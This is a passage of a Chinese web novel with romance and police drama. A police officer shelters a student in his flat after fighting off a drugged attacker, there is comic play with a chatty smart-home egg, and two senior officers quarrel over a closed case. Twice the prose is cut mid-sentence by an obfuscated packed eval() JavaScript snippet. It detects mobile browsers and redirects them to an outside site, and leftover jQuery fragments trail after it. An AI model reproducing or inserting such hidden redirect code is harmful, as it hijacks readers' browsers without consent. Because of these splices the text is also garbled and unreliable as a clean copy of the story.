邓烟雨握紧枪,在被子里剧烈颤栗。 不要,不要再问了…… 求求不要再打我爸爸了! 嘭! 美食家只觉胸腔一阵极致拉扯,比子弹的侵彻力还要强,胆汁翻涌,吐出一大口血,痛苦得扭成虫子:“死条子!我撕烂你!!” 他杀疯了扑上来,公冶同样分力不收,直踹得人冲阳台飞去,啪叽一声折在护栏上。 砸门声随即响起。 “有病啊?!”租户在外头哐哐捶,“现在什么时间了,吵什么吵?!有没有点公德心,他娘的……” 被子里鼓鼓的是邓烟雨,她没有吩咐不敢出来。公冶原地喘息片刻,走到阳台上,黑发遮着阴冷的眼,里头狂躁的火气尚未散去。 他戳亮耳机,紫光闪烁,同时扯出戒具,把人铐了,翻过这人的手臂,靠近腋下的位置果然有密密麻麻的注射针眼。 风势猛,美食家被兜头洗了一脸,清醒大半。 “中心听得到吗,我影青,帮我接通春日分所。” “总部联系,回答。” “春日听到回答。” “啊,听到,这里GS春日区分所,请讲。” “满月区上弦街晓月公寓,来抓个毒虫,禁毒大队一并来。” “……美食家吸毒了?” “吸了,赶紧来,我——”话没说完,他就被美食家奋力一拱撞在了护栏上,公冶叫道,“喂!” 美食家戴着手铐从七楼翻了下去,像坨百公斤猪肉从高空抛下应声砸地。 公冶:“……” “春日分所呼叫总部,总部收到请回答。” “总部收到请回答。” 公冶在高处目送他踉踉跄跄沿大路逃跑,淡淡地说:“往西了,他身上有重伤,手铐戴着估计跑不远,但也有挣脱的可能性,你们速度,我这边情况特殊不能追捕。” “好的明白。” 和分所对接好,他拨通熊小滚的电话。 “我知道了,邓烟雨没有受伤吧?”熊小滚 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那家伙的辱骂声犹在脑海回荡。 公冶缓了片刻,起身,跨过一地碎渣,往里去。他没有按墙上的开关,邓烟雨现在可能只想待在昏暗里。 租户早就骂骂咧咧地走了。 公冶上前,对着那团鼓鼓的被子,说:“邓烟雨。” 这是他第一次叫自己的名字。邓烟雨心间无端一炽,咬住唇。 周围已没有可怕的动静,邓烟雨不再胡思乱想,默默撑开被子一角,小心翼翼地露出脸:“我可以出来了吗?” “可以了,出来吧,人逃了。”公冶一脸无所谓地说着。 邓烟雨:“……” 公冶不明白她为什么还不动。 “公冶警官……”即使在这么暗的环境里,公冶依然可以清晰地察觉到邓烟雨脸颊的红潮,“我没有穿衣服。” 公冶:“……哦,我先,去阳台待着。” 他迅速撤离,顺带帮忙拉上了窗帘。邓烟雨在床里窝了会儿,身上暖和了,爬出被子,瞬移到衣柜前,胡乱刨了两件穿上。 “好了。”她说。 公冶拉开窗帘,瞥了眼开关:“能开灯吗?” 邓烟雨哆嗦的小凉手抓了抓衣角,说:“可以。” 啪嗒——屋内彻彻底底亮堂起来,邓烟雨感觉刺眼,揉揉眼睛,手脚无处安放地干站了会儿,去床尾那坐下,才坐下就摸到一物,她心有余悸地起身递过去:“公冶警官,您的枪。” 他惊讶了一下,接过,然后转身…… 开了灯,公冶才意识到自己干了件什么荒唐蠢事。 房间一塌糊涂,从浴室门口到床边再到阳台,没一个地方可以落脚,风凉飕飕闯进来,根本不能住人了。 公冶看向窗的执手,头朝下。 这扇落地窗,从一开始,就没锁上。 “……” 邓烟雨再次七弯八拐地绕过一地满登登的光荣战绩,坐回床上,重新扫视自己的屋子,也是一脸不知所措。 “窗,还有这些,”公冶指一指,说,“我会承担全部费用,抱歉,下手重了。” “没关系,”邓烟雨忙摆手,“你是为了救我,这都不是问题。” 公冶又观察一遍:“那你今天住哪,学校宿舍可以去吗?” “宿舍我退了。”邓烟雨失落地低头。 也是,大学他进不去,近身保护也免谈了。公冶思考着说:“酒……” 酒店可以吗,安全吗?虽说酒店住的人也不少,越庞大的人流量越能混淆她身上的香味,但那是一个陌生环境,出入人员复杂。 他还是问了问,邓烟雨说:“我没钱住酒店……” 邓烟雨经过深思熟虑才回了这么一句。起初她满脑子想的是住酒店?酒店那么大,她嗷一声他啥时候来?还有,他肯定不跟她一起住,那自己一个人住好可怕啊,除非他住她隔壁,可他愿意花这个钱吗?对啊,住酒店还要花钱,他有单位报销我有吗?我可没钱住酒店…… 邓烟雨结束头脑风暴,猜测自己脸一定很红,千万被别某人发现。 一根筋的某人啥也没发现,还在考虑她今晚的住处。 有没有尽量清静点的,整洁点的,方便让邓烟雨随叫随到的…… 公冶想破了脑袋,真就给他想到一处。 他侧头看她。 邓烟雨不自觉地挺直了背,不明所以回望他:“嗯?怎么了?” “你……”公冶喉结滚动,尝试着说出来,“要不要住我家?” 14. 同居 我死后,请把我埋在紫露草盛开的山坡。——赫彻《我们的战争》 当晚十一点。 轮胎压过减速带,邓烟雨在轻微的晃动中悠悠转醒,一部警用对讲机撞进惺忪的睡眼,让她一时不知身在何方。 “……” 居然坐着警车睡着了。 身旁还有人,邓烟雨抓了抓睡得略炸的一头卷毛。车窗外,几只优雅的金灯麋鹿扎在草坪上,一闪而过的正中央空地布置着斥巨资的大圣诞树,绕满的装饰像夜光星海坠落其间。 “你家?” 两个小时前,公寓里,烟雨坐在足够乱的床上,听公冶说完,愣了许久。 漏进来的风吹颤了她不确信的声音:“住你家?” “嗯,”公冶说,“在星湖区,就我一个人住,没养小动物,我最近回家的次数也少,房间……还算干净。如果你愿意的话可以先去我那住,公寓这边的赔偿由我来处理,你现在第一要紧的是保障自己的人生安全。” 非常好理解的一段话。 他奔赴于最辛苦的一线,任务要求他把受害人的生命放在首位,放在自己生命之上,这是他应尽的义务,他照做了,并未掺杂其余的感情。 但邓烟雨还是偷偷掐红了手。 此时此刻,她满脑子想的是:认识不到两个月的(有腹肌/帅)异性主动邀请她去他家免费长住。 不该这么想,不该动不礼貌的心思,他绝不是这意思。 可心脏没来由地,跳得好快,仿佛荒芜已久的心园猛然暴出万丛玫瑰。 自从那天在医院见过他,他平静地对庆威凤说出那句话时,埋在心底的一颗小花种就破土发芽了,它开得太快太艳,一夜攀越心墙,摔进春光,生怕别人不知道它有多么热烈浓郁。 冷风吹着邓烟雨,本该偏凉的双手反而像玩了雪似的变得燥热。 “好的,”她温顺地扬眸,答应道,“那就去你家吧。” 想去。 比起备受排挤的大学宿舍,比起冰冷陌生的酒店,她更想去他家。 这一次她怪不了自己,毕竟面临的诱惑太大了,这个男人好厉害,在她眼中不停地闪闪发亮,她就是一只按部就班觅食的乌鸦,意外发现某户人家窗台上的钻戒,亮晶晶的光芒使它痴迷,它要偷偷衔走。 邓烟雨目不转睛看他收枪,公冶有所察觉,问了句:“你会用枪?” “额,我……”她稍显惊慌,随便找个借口搪塞,“我玩过模型枪。” 公冶不再多问,先下楼了,邓烟雨快马加鞭装行李,收拾到一半,去看那扇坚强的落地窗,它七零八落散了一地,惨不忍睹。 但每一块碎片都浸着光。 邓烟雨忽然抬起冻得微红的手,蹲在一堆衣物前,捂住滚烫的脸。 完蛋了,是喜欢上他了吗? 我喜欢公冶警官? 我喜欢他。 汽车中控台的流光悄无声息勾出一张侧脸,那光色流连忘返地,沿着他好看的鼻梁线条一路肆意往下,经过修长的颈项,弧度饱满的喉结,止于解开的衬衫领口前,可惜光线太暗,描摹不出他无所遮掩的锁骨。 树影郁郁葱葱洒在挡风玻璃上,他的眉宇尚未舒展,黑色外套上的肩章随着一阵一阵的景观灯光打下来,闪出错落低调的光泽。 邓烟雨看完小区景色,复去看他,既而再去看景色。 不能看他,不然又该脸红了。 方向盘左打,他们拐进一条僻静的路,直通地下车库。公冶的私车在GS地库孤独地积着灰,他接上邓烟雨出发已是十点多,满月区到紫露区需要横跨一座大桥,断了肋骨的他认为实在没必要开这一趟去换车了。 找到了自己的停车位。他技术好,没有挪进挪出,单手打方向盘一次顺利倒进横线。 啪嗒,安全带弹开,熄火。公冶下车走向后备箱,拎出一只对他来说不算重的大号行李箱。邓烟雨也下了车,站在回音十足的环氧地坪上。 “走。”他锁完车,拖着邓烟雨的海绵宝宝行李箱,经过美观的星空顶,领她乘上电梯,按亮十二楼。 电梯识趣地缓缓上升中,他们都很安静。邓烟雨缩在加厚羽绒服里,眨动大眼睛,有点后知后觉地紧张起来了。 她仰头,望着公冶的背影。 他好高,听说绝大多数美食家都有这么高,之前班里讨论说苏赞的净身高有一米九。 “公冶警官。” “嗯?” “你多高啊?” “一八八。” “噫,比我高出三十。” 公冶回头,瞧着她说:“怎么,还想再长高点吗?” “想啊,我一米六都没有,挤地铁总是卡在人家胳肢窝下,看演唱会也是头山头海的,对我来说歌手就和王熙凤一样。” “和王熙凤一样?” “先闻其声未见其人。” 公冶弯唇,轻轻一笑,表情变动得太浅淡,不易被人察觉。他低头认真思索了会儿:“我觉得你这样刚刚好。” 邓烟雨:“刚刚好?” 公冶:“刚刚好可以架胳膊。” 邓烟雨:“……” 十二楼到了,他们往里走,穿过入户花园,在尽头停下,公冶快把家里出土的密码忘了。 门解锁,玄关灯感应亮起,一声家庭系统经典的【Weehome】欢迎语伴随升起的遮光帘,为他展示首都的夜景。 【主人,欢迎回家,今晚夜景不错,请您欣赏】 【喜欢的话记得给个好评哦亲】 邓烟雨在“好评”出来前都深信不疑这是个品学兼优的好系统。 她一脸“闹鬼”的表情左顾右盼,公冶淡定到令人心疼:“不是鬼,也不是家庭系统,待会儿你就知道了。” 她点了点头,跟他进门。 …… 客厅就比邓烟雨的公寓大。 他家风格走的是灰白极简风,不是他喜欢,是他工作就够忙了,没时间也没精力去设计。邓烟雨吸着冰冰凉凉的空气,无言打量,这一室空旷的光洁感搭配超长落地窗外的寒冬夜,简直是雪上加霜的冷,亮堂的地砖纤尘不染,有种在上面崴一脚能滑出宇宙的错觉,一盏黑色落地灯,一条目测就质量贼好贼舒服的转角沙发,和一只不规则茶几,底下压着耐脏的深色地毯,家具陈设到此基本告一段落,感觉就是从样板房那儿掳了几件摆这了。 这真的住过人吗? 邓烟雨想起自己书桌上一整排凹造型的可爱手办,飘窗上摞得厚厚高高的小说漫画,还有一年平均发作两次一次长达半年的水杯囤积症,在她家口渴了随手就能抓只奇形怪状的杯子去接水,以及一柜子满到关门必须拿出地铁乘务员挤乘客进站的气势才能勉强不致泄出来的衣服。她曾苦恼三宫六院过于简陋,委屈了她的爱妃们,忍痛割爱捐了一拨,总算让衣柜有气可喘。 那么小一个公寓,塞满了东西。 得天独厚的大平层却啥也没有。 她和他,就是一南一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16579267|187255||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 北两个极端。 “你先穿这双,”公冶在鞋柜里翻出一次性拖鞋,“有什么短的缺的明天再买,今天先应付一夜,房间就睡我的。” 邓烟雨换上拖鞋:“那你睡哪?” “我睡客厅。” 公冶脱下外套随手丢沙发上,去忙了。邓烟雨关上大门,瞅瞅玄关放着的笨重行李箱,不知是否要拿进去,再瞅瞅已经消失在走廊上的他,还是选择先不管箱子,快步跟了过去。 路过两间次卧,她当即明白公冶为什么不让她睡这了。 家徒四壁的空,一盏灯,一张床,形同监狱,监狱里好歹有被子,这里连被子也省了,去里头坐着就是发呆,啥也没得干。 哦不,好像有一物……邓烟雨探身一瞧。 居然是家庭消防应急包。 防范意识太到位了。 她打了个喷嚏,吸着鼻涕来到卧室门口,床上只有毯子,不见公冶踪影,里面是衣帽间,邓烟雨像驾到的公主欣喜又小心地步入。 比较私人的环境,邓烟雨心跳无端加速。 原以为会看到一个乱堆乱放的画面,然而,整洁得令她羡慕,平常穿的衣物和警服还是分开放的。 公冶在找新的被子,背对着她,邓烟雨随意走了走,发现一枚松脱的警徽掉在暗处,要不是紫露草的花瓣被折射出紫光,她还察觉不到。 “啊,原来掉在这。” 邓烟雨如同小鸟一惊——是公冶的声音,他不知何时站在了她身后,是可以将她困住的,特别近的距离。 “我还以为找不到了,谢谢你啊,在哪发现的?” “在在,在地上……我也是,刚巧发现。” 很弱的香水味扩散着。 他平时上班应该不会喷,这是哪来的香味? 邓烟雨紧张地、贪婪地闻了闻。 “今晚空调打起来,盖这条应该不会冷了。”他抱着新被子出去,邓烟雨也小碎步跟出去,帮他套被子,捏住两只角拉开来用力抖了抖。 “新的牙刷牙膏我放在卫生间了。” “好的,”邓烟雨轻抿双唇,犹豫着,“我有点……” “要喝水吗?” “……嗯。” “待会给你倒一杯。”他礼节性地一笑。 “好。” 邓烟雨胸膛里的鹿宝宝咚咚咚地拆着家。 再没漏什么了吧?公冶扫视一圈,确定地上没有见不得人的东西——上周禁糖期刚过,他报复性摄糖,一晚上吸了七包喜之郎果冻。 邓烟雨眼神放空地瞧来瞧去,也不知在瞧什么,令公冶有些不安。他也是第一次照顾女孩子,哪比得上人家亲妈事无巨细,送闺女来歌华读大学,顾虑得连便捷式马桶都捎上了。 好大的衣帽间!好大的卧室!好大的床!什么都好大!爸妈!我住上豪宅了哈哈哈! 邓烟雨喜滋滋地在心中发表了搬家感言,一昂头,公冶在看自己。 啊完了——我肯定像个乡下来的傻子吧! 公冶见她小脸白得不健康,前面还听她打喷嚏了:“你会不会感冒了,吃包冲剂预防一下吧?” “噢,没事的,我睡一晚就会好!”洗漱在公寓解决过了,她现在只想扑进他的大床饱饱睡一觉。 “好,那你休息……” 她爬上床,右脚露出一截肌肤,公冶不慎瞥到,微微一惊:“邓烟雨,你脚受伤了?” “啊?”她显然不知情,扭头看去,只见自己脚踝那一片青紫。 15. 蛋宝 床头灯开着,照出她突起的外踝到小腿下的淤紫,在雪白的皮肤上轻重不一地晕染,格外醒目骇人。 是外力导致的毛细血管破裂出血。 邓烟雨经常冷不丁地发现自己腿上有淤青,戳着不大痛,但这次不同——她伸手碰了碰,往下一按就好疼。 冥冥之中两人谁也没说话,公冶的思绪回到不久前,吸毒美呼着粗气,把她按在身下往暗处拖。 他眉宇微拧,神色说不出的沉郁,转身:“我去拿药,你先坐会儿。” 他出去没多久,空调的暖风均匀轻盈地送出来,也不知从哪遥控的。邓烟雨打了个长长的泛泪的哈欠,脑袋歪倒。 【噔噔噔噔~】 房间异常安静,邓烟雨被这突如其来的音效赶走了瞌睡,找了找,声音是床头柜那发出的。 【亲爱的主人,您好,现在是深夜11点45分,入睡时间已经到啦,蛋宝感测到您的床头还有灯光热源,温馨提示:熬夜对身体不好哦,为了明天美好的新征程,请主人快快放下手机睡觉吧,祝您有个好梦呢~】 啰里吧嗦的是一只黄白相间的不倒翁鸡蛋壳,它闭嘴时和普通蛋壳玩具一般无二,一说话,头顶就亮出两颗暖黄的豆豆眼,机灵鬼似的忽闪眨巴。 如今身边有个端茶倒水、拉窗关灯、陪聊陪笑的一条龙服务机器人,或者上到轻松研发飞机下到专业拧螺丝的智能家庭系统是家常便饭了。公冶家里没养家庭系统,一颗嘴欠顽皮的精灵蛋就够他受了。 偏远的灯港也早已广泛普及应用,不过由于邓忠云说用途不大,所以邓家宛如一处世外桃源,从没碰过这类智能产品。 邓烟雨凑过去,食指点了点它的圆脑袋,它的豆豆眼略显惊诧,害羞地冒出几颗爱心,咯咯一乐,把邓烟雨也逗乐了:“我不是你的主人。” 【那你是谁呢,蛋宝真好奇。】鸡蛋壳笑嘻嘻地捂嘴,语气还真就透出天真的好奇来。 “我是……你主人的朋友。” 【主人的朋友,你好呀。】 “你好,刚刚是你在装家庭系统和我们说话吗?” 【是呀,你要扣我工资吗?】 “哈哈哈,你还拿工资啊?” 【拿的拿的,都用来交电费了。】 邓烟雨太喜欢它欠欠的性格了,聊出了精神。 蛋宝细心地感知到她的情绪:【朋友,听你的声音有点没力气,是发生什么不开心的事了吗,需要蛋宝为你点一首歌吗?】 “深夜放歌会吵到邻居,不好吧。” 【您提醒的对,但据蛋宝所知,揽月邸墙体隔音优秀,且聪明的我会根据环境实时监测音量,保证不会干扰邻居。】说完它抛个媚眼。 “哇好棒,”邓烟雨殷勤地鼓鼓掌,像恭维算出一加一等于二的小孩,“这么厉害啊,那你放吧。” 【你要听什么?】 “随便,放你喜欢的。” 说完她就后悔了。 这只精灵蛋是公冶警官的,她这么为所欲为地跟它聊天扯淡可以吗? 公冶警官也累了,不希望大半夜让它纵情嗨歌吧。 名副其实的男主人就在外面。邓烟雨越想越不安,刚要开口阻止,就听小坏蛋忧愁地说:【唔,蛋宝是只博爱的蛋蛋,喜欢的太多啦,让我斗胆猜猜你喜欢什么……总感觉你好像失恋了,声音听着不精神,那就点一首惠特妮·休斯顿的传世经典歌曲《IWillAlwaysLoveYou》送给亲爱的您,希望朋友早日走出失恋阴霾,振作起来。】 邓烟雨:“……咦?”咦咦咦什么? 谁失恋啦! 它是个没救的半聋子,愣是把邓烟雨的“咦”听成了“行”,管自个儿欢欣雀跃地拍手:【好的,那接下来敬请欣赏,灯光秀走起。】 咚—— 仿佛电影骤然开场,卧室里的灯一下子全灭了,连中央空调吹出的暖气都瑟瑟发抖地变小了些。邓烟雨木然地坐在一方寂静中,旋即,令人醉心的温柔女音低缓流出,待伴奏响彻卧室,天花板的顶灯趁其不备射出巨闪,整个房间霎时万紫千红,妖艳的激光彩灯照得四面八方犹如烧香敬神,虚拟玫瑰花瓣轰轰烈烈抛洒下来,随着一曲柔情的萨克斯,铺满一床一地。 邓烟雨:“…………”亲娘啊啊啊啊—— 不得不说歌曲非常好听,但这……这是什么骚包媚俗的ktv氛围灯!蛋宝你品味好差!! “为什么会有这种特效……” 【我自己设置的,别告诉主人。】 你太过分了吧!公冶警官会杀了你的! “别,你别放了,蛋宝,要出人命了……”你真不怕死吗! 她脚趾抠出三室一厅,急红了脸,一个劲朝蛋宝挥手比叉,结果这没心没肺的不倒翁沉浸在自己的世界里,眼睛眯成波浪线,跟着音乐怡情摇晃,睬都不睬邓烟雨。 歌曲迫向高潮,邓烟雨又制止了两声,在惠姨天籁的“and~~~~~~”声中迟迟转过身,看见公冶手拿冰袋,茫然呆滞地站在门口。 他们在惊心动魄的绝唱盛宴中四目相对,七彩花瓣在他们面前浪漫缱绻地飞落。 邓烟雨:“……” 公冶:“……” 蛋宝:“love~~~~you~~~~oh~~~~” …… 歌喉惊艳到穿透巅峰,灯光秀廉价到没眼看,天上地下的割裂感让邓烟雨羞愧得几近晕厥。她把头埋得低低的,根本不敢去看他。 优雅至死的高音过去,那头总算来了一声: “你在干嘛,蛋宝。” 公冶冷冷地训斥始作俑者。 【好凶,是我英明神武的主人回来了吗?】 公冶过来,蹲在邓烟雨的身前,说:“拔你插销了啊。” 【啊不要!】蛋宝哭得那叫一个毁天灭地:【主人我错了,您不可以这么残忍呀,您拔去的只是一个插销,可我失去的是整条生命啊!】 公冶无时无刻不想把它送去厨房炒了装盘,邓烟雨羞惭满面:“我前面和它聊天,聊着聊着就……这样了……” “它超烦吧,还喜欢乱来。” 公冶成天忍受蛋宝搞怪作妖,已当成日常了。 他将冰袋轻轻捂到邓烟雨的小腿处,没听她喊痛,便接着说:“精灵蛋在市面上少见,它们功能不如家庭系统全面,但每只精灵蛋都编了独立的性格,这是它们最大一个特色。” “那买来很贵吧?” 【我无价之宝哦亲】说完立马闭嘴,怕挨骂。 公冶给她冷敷着,静了静,说:“它不是我买的,是一位教授送我的,”他无奈地抬起头,“教授因为嫌它太吵,便把它丢给我祸害了。” 【切】 邓烟雨笑出了声,若不是蛋宝切了一下,她还能忍住这声笑。 公冶观察她脚部的伤势,不是很肿,贴副膏药应该很快就会好转。 邓烟雨目光下移。 从俯视的角度观察他,黑发原来是蓬松的,看起来很软很好摸,耳处几缕还带了点微乱。 ……哈士奇。 邓烟雨想起抚摸大型犬的感觉,它们开心地摇尾巴蹭过来,一身厚毛像团滚滚的大棉花特别好扑。 她越看越入迷。 这样的视角太难得,显得公冶的肩膀更为宽阔,匀称有力的肌肉与白衬衫毫无隔阂地贴着,明明什么都藏起来了,却什么都能想象出来。 曾经高大的,用力踮起脚来也够不到的男人,温顺地跪落在低处。一个不切实际的想法霸占邓烟雨的大脑,她自己也被这个想法惊到,身体发紧了。 公冶没有察觉到女孩脑内正冰火两重天,他比较关注伤势。 识时务的蛋俊杰把灯关了。 它不仅有情调,还有情商。 “要不……让蛋宝先别放歌了?” “听完吧,”公冶意外地想听,过了片刻,问,“惠特妮·休斯顿的歌喜欢吗?” 邓烟雨一愣,点头:“喜欢的。我还喜欢席琳·迪翁的歌。” “泰坦那首?” “是的!” 公冶唇角轻勾:“我最近在听罗南·基汀的一首情歌,也还不错,下次让蛋宝放给你听。” “好。” 一曲结束,卧室回归了五分钟前的寂静。 公冶说:“你是不是很困了?” “是有点。” 公冶看了眼手表:“再敷十分钟吧,我家里没药膏,如果明天走路痛,记得和我说。” 邓烟雨答应着,心声如鼓。 想摸他的头发。 就一下。 邓烟雨撑在床上的手默默挪过来。 就在前面。 伸出去就可以摸到了。 指尖之前就是危险禁区,就是烈火灼烧,可她终究是伸出了手,如同在摸一只流浪小狗,怜惜地放在公冶头顶。 “……”? 被什么触了一下,不……更像是搔了一下。他慢慢仰起脸,绿眸不带一丝侵略性,甚至有点闪躲,可他躲不掉了。 面红耳赤的邓烟雨就这样闯入他的视野。 茂密的卷发簇拥着她的脸,倾泻在胸前,杏眸不知为何十分婆娑水亮,红润的嘴唇略微张开,轻喘着,小手不重不痒蹭着发丝,有点舒服。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16579268|187255||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面对这样一张脸,公冶眸底染上了一层暗意。 他完全应付不过来。 她说:“有灰尘。” “……噢,”公冶躲开视线,拍了拍额前的发,说,“谢谢。” 十分钟一到,公冶就收拾东西离开了。 他关上卧室门,来到冷空气充盈的客厅,坐在沙发上缓解疲惫。 即便是在自己家,他今晚依然不能睡,外面有一点风吹草动都要时刻关注。 邓烟雨躺进床里,被子和枕头有阳光晒过的香味,还有一些……他身上的气息。 睡不着了。 邓烟雨趴在被子里欲哭无泪。 自从确认了对他的感情,她的私心一刻比一刻强烈,以前远远看着,道一声感谢就餍足了,现在摸了他的头发还觉不够。 她卷着被子,娇小的身体深陷其中,仿佛被他肆虐占有着。 床上有四只枕头,她把其中一只当做玩偶抱入怀中,平息自己的心跳。 明天是圣诞节了。 …… “起来了。” “懒猪,太阳都晒屁股了,快起来。” 邓烟雨还想再赖一会儿,敛着酸涩的眼,恍惚听见男人轻笑一声。 “再不起来,我要亲你了啊。” 邓烟雨错愕地惊醒,就见公冶撑在床头,无限温柔地凝视着她。 这是真的吗? 他俯身,靠近,黑发似猫儿的尾巴轻蹭过来,亲昵地抵着她的额头,温热的呼吸近在咫尺。 要亲—— 嘭咚! 邓烟雨一头砸在地板上,被子毛毯皆给拖了下来。 所幸脚踝没有二度重伤。她扒住床沿,揉着腰爬起来。 搞什么,一大早就做春梦。 蛋宝告诉她才早上八点多,但她不想睡了,刷完牙洗完脸,在镜子前懒洋洋地梳着翘飞天的头发。 外面没动静。他出去了? 客厅果然不见人影,餐桌上放着套了两层的透明塑料袋,里面有种类丰富的早餐。 袋子上贴着一张便签,上面字迹端正写着:我回来之前不要出门,有其他想吃的和蛋宝说,它能点外卖。 邓烟雨喝着热水,环视整洁明亮的大横厅,沙发上的空调毯随意挂落,他昨晚应该没怎么睡。 邓烟雨不是滋味地垂落睫毛。 庆威凤和蔡蔡得知她出院了,一早打来视频通话。 “天呐,那你现在住在公冶警官家里吗?” 她们吃了个惊天巨瓜,精神抖擞地怼着镜头问。 “短期内住着,”邓烟雨咬开煎包的油皮,熟练地吸汁,“等公寓修好还要回……” “烟雨——”庆威凤一脸磕cp的兴奋劲,打断她说,“快上啊,机不可失时不再来,人家又帅又有钱,还是警察,铁饭碗!现在社会多动荡,医生和警察可是蝉联‘最受丈母娘欢迎的女婿职业’排行榜前三名呢!” 蔡蔡嚼着薯片:“可他是美食家诶。” “现在什么世道啦,普通人和美食家结婚的例子还少吗,我认识一个姐姐就和美食家结婚啦,生了个超——萌的绿眼睛宝宝!” 蔡蔡摇头:“所以现在什么世道?社会动荡的世道?” 邓烟雨吃完煎包,在那咕咕喝豆浆,心事重重的样子,她组织好语言,坚定地开了口:“我确实喜欢他。” 电话那端一阵死寂,随即:“哇!真的吗!暗恋?暗恋?!哈哈哈老娘这辈子都没尝过暗恋是啥滋味,快让我多磕磕!” 邓烟雨没想到她们会是这个反应,害羞地夹起一只烧麦:“哎呀……可能也只是对他崇拜吧……” 蔡蔡激动地走来走去:“什么崇拜,你是不是看到他就心跳加快?” “是。” “是不是他一靠近你就紧张?” “是!” “是不是觉得他身上好好闻!想扑倒他!” “是是是!” “那就是喜欢!还是最伟大的生理性喜欢!别磨蹭了,快点告白吧,我这小心脏最受不了拖泥带水!” 庆威凤哎呀一声:“你懂什么,极限拉扯才叫好玩,烟雨你要使尽各种手段诱惑他知道吗,要让他先跟你告白。” “不行——”蔡蔡就差顺着网线过去敲庆威凤,“你个恋爱经验为零的笨蛋美人,我跟你说,他如果不是美食家,分分钟就被别的女人抢……” 蔡蔡不再往下说了,她们凑到屏幕前:“怎么不说啦?” “额,雨啊,你有问过吗,公冶警官他目前是不是单身啊?” 啪嗒。 烧麦掉在桌上,邓烟雨大脑一片空白。 16. 米线 另一边早上八点,一个通宵下来的公冶渡莲有点魂不守舍,和亲切欢迎他的系统懒淡地说了声“早”,敲着僵硬的肩颈往特发科走去。 值夜班的同事回去了,走廊拉着帘子,光影静谧。 他也值了一夜,今早并不用来,但昨晚他在家里翻箱倒柜,只搜出两管即将过期的镇血剂。 卧室或许还有一盒,可他当然不会进去拿。 经过昨晚,他隐约发现,邓烟雨身上的香气变淡了。印象里标记香气不会降这么快,应该是自己闻久习惯了这味道。 这是好事,不过保险起见,还是来单位带几支回去比较安心。 他手里卷着工牌的带子,路过指挥官办公室,门虚掩,里头正发作着不小的动静。 “不可能!林这案子都结了,你说想翻就给翻吗?我敬你是我师哥,所以一再忍让没干涉你去查,可查查就够了,为什么非要揪着路法医的话不放?” 短暂的沉寂,公冶几乎听到熊队咬紧了说:“我揪着不放,一遍遍找你,你还不清楚我是为了什么?” “我清楚,我都清楚!那又怎样?你不要得寸进尺了,说到底我们就是给别人打工的,我们要绝对服从安排!” “狗屁安排!你审过林硕文吗,你听过他口供吗,你见过他这人吗!你从我手里撬走国厦案的负责权,一口一声为了沈鸣,为了真相,可你有为这案子付出过哪怕一点的心力吗?!你有吗?!” 两个人呼哧着怒气,剑拔弩张。 “你……” “蒋淮你听着,不要以为我离开了刑警队,我就什么都不知道,国厦案就是烂死在你手上了!你把这起案子当什么了?把那些疑点线索那一袋冤屈当成什么了?!平常没事就丢你支队长的大桌上当个压泡面的本子吧,你他妈好一个坐享其成的大老板啊,肩上加星加杠有底气了,还敢理直气壮跟我吼,也不想想当初就是你等着时机一到,把怎么来的案子怎么屁颠颠送走,我真恨我当时瞎了眼选择相信你,你良心能安吗?!” “我安!!我不像你一口一个正义招摇过市,不像你得陇又望蜀管着GS还要插|我支队一脚,我狼心狗肺!我安着呢!!” ……文化人对骂就是不一样。 公冶洗耳恭听两位上司唇枪舌战,成语乱飙,事态已进入白热化阶段,他比考前划大纲还专心,毕竟这种场面鲜少碰到。 门板猝不及防哐当震响,只听蒋淮厉声喝道:“我警告你,就此收手,不许再调查下去,你要是还想GS安生——” “王八蛋,你敢用GS威胁我?你以为我手底下的孩子吃素的吗?!” “好,好!那打啊,打啊!有本事你就召集所有公美杀过来,你以为我们刑侦吃素的吗?!” 公冶:“……” 不要把个人矛盾上升到群众啊。 “我不让你再往下查,是想害你吗,我们共事十年,我知道你什么脾气,我拜托你听我句劝,点到为止吧,难道你还要为了一个乌烟瘴气的真相,让人扒下这身警服吗?” “……师弟,他们曾经也是活生生的人,现在只求一个公道,我既然穿了这身警服,就必须要为那些枉死的受害者洗刷冤屈,这是天经地义职责所在,他们不该不明不白地死掉,真相也从来不是乌烟瘴气,我们侦破的是自己的心,我们就是做这个的,你要对得起你自己!” 窗台下,浮尘如金灿灿的沙粒,轻散在半空中。公冶斜靠在阴影里。 良久,蒋淮发出一声悲凉的低笑:“是,你说的没错,我对不起我自己,我要风光的事业,要完整的家庭,因此我身上累着无数担子,我即使有太多不得已也是我自找的。要替他们伸冤,首先得把自己摆正了,可我做不到你那么清廉无瑕啊,师哥。” 熊小滚愕然。 “别劝我,我不管路法医跟你说了什么,国厦案不会再有其他结果,你管好你的特发科就是在为社会造福,再见。” 大门一把拽开,公冶退到一旁,恭敬地说:“蒋队早……” 蒋淮人高马大,走路带风,直把他的问候刮成一盘散沙窣窣落地。公冶原地待了几秒,探头朝办公室里猫一眼:“老大。” 办公室窗户大开,千斤冷风涌进,熊小滚背对着他,双臂撑在长桌上,衬衫安好地塞在黑皮带里,瞧着是没打架。 “你干嘛又和蒋队拌嘴。” “我想和他拌吗!”熊小滚像颗被踩住的地雷,一抬就炸。 “国厦案没有转圜的余地了,”公冶合上门,“不单蒋队不会同意,就算蒋队同意,上面也不会……” “你还记得路法医最后和我们说的话吗?” 